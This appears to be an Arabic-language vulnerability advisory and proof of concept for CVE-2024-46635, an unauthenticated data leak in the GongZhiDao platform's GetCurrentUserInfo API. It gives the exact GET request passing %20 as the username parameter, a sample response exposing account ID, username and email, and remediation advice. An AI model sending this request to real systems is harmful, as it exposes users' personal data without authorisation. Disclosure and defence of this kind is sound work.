
إثبات المفهوم لثغرة CVE-2024-46635: ثغرة عدم التحقق الصحيح من الإدخال في نقطة نهاية API لنظام GongZhiDao تكشف معلومات حساسة للمستخدم دون مصادقة.
نظام GongZhiDao هو منصة طورتها شركة GongZhiDao. يوفر حلولاً مؤسسية تشمل إدارة المستخدمين، وتحليل البيانات، ووظائف تشغيلية. ومع ذلك، تم اكتشاف ثغرة أمنية في إحدى نقاط نهاية API قد تؤدي إلى الكشف عن معلومات المستخدمين الحساسة دون تفويض مناسب.
توجد ثغرة في نقطة نهاية API /oaa/api/AccountMaster/GetCurrentUserInfo لنظام GongZhiDao. من خلال تمرير %20 (مسافة مشفرة بعنوان URL) بدلاً من المعامل UserNameOrPhoneNumber، يستجيب الـ API بمعلومات مستخدم حساسة، بما في ذلك معرف الحساب واسم المستخدم وعنوان البريد الإلكتروني، حتى بدون مصادقة أو تفويض مناسب. يسمح هذا التحقق غير الصحيح من الإدخال للمهاجمين بالوصول غير المصرح به إلى البيانات الحساسة.
قد يؤدي الاستغلال الناجح لهذه الثغرة إلى كشف بيانات المستخدمين الحساسة، بما في ذلك:
يمكن للمهاجم استخدام هذه المعلومات لشن هجمات أخرى، مثل سرقة الهوية أو التصيد الاحتيالي.
لاستغلال الثغرة، يجب على المهاجم إرسال طلب HTTP GET مصمم إلى نقطة نهاية API المعرضة للخطر:
GET /oaa/api/AccountMaster/GetCurrentUserInfo?UserNameOrPhoneNumber=%20 HTTP/2
يعيد هذا الطلب استجابة 200 OK مع بيانات المستخدم الحساسة بتنسيق JSON:
HTTP/2 200 OK
Date: Tue, 10 Sep 2024 03:25:09 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 153
Server: nginx/1.22.0
X-Powered-By: ASP.NET
Set-Cookie: Path=/; HttpOnly; Secure
{"accountId":"09c05434-e1ff-4436-b1b0-01215e48b274","name":"John","phoneNumber":null,"userName":"19999999999","email1":"[email protected]"}
/oaa/api/AccountMaster/GetCurrentUserInfoUserNameOrPhoneNumber مع %20 كإدخالتنفيذ التحقق المناسب من الإدخال: تأكد من تنظيف والتحقق من المعامل UserNameOrPhoneNumber بشكل صحيح. يجب رفض الإدخالات مثل %20.
فحوصات التفويض: تنفيذ آليات التفويض المناسبة لضمان أن المستخدمين المصادق عليهم والمصرح لهم فقط يمكنهم الوصول إلى المعلومات الحساسة.
تحديد المعدل والمراقبة: طبق تحديد المعدل على نقاط نهاية API لمنع هجمات القوة الغاشمة أو الآلية، وراقب نشاط API لأنماط الوصول غير الطبيعية.
تم اكتشاف هذه الثغرة بواسطة hithub.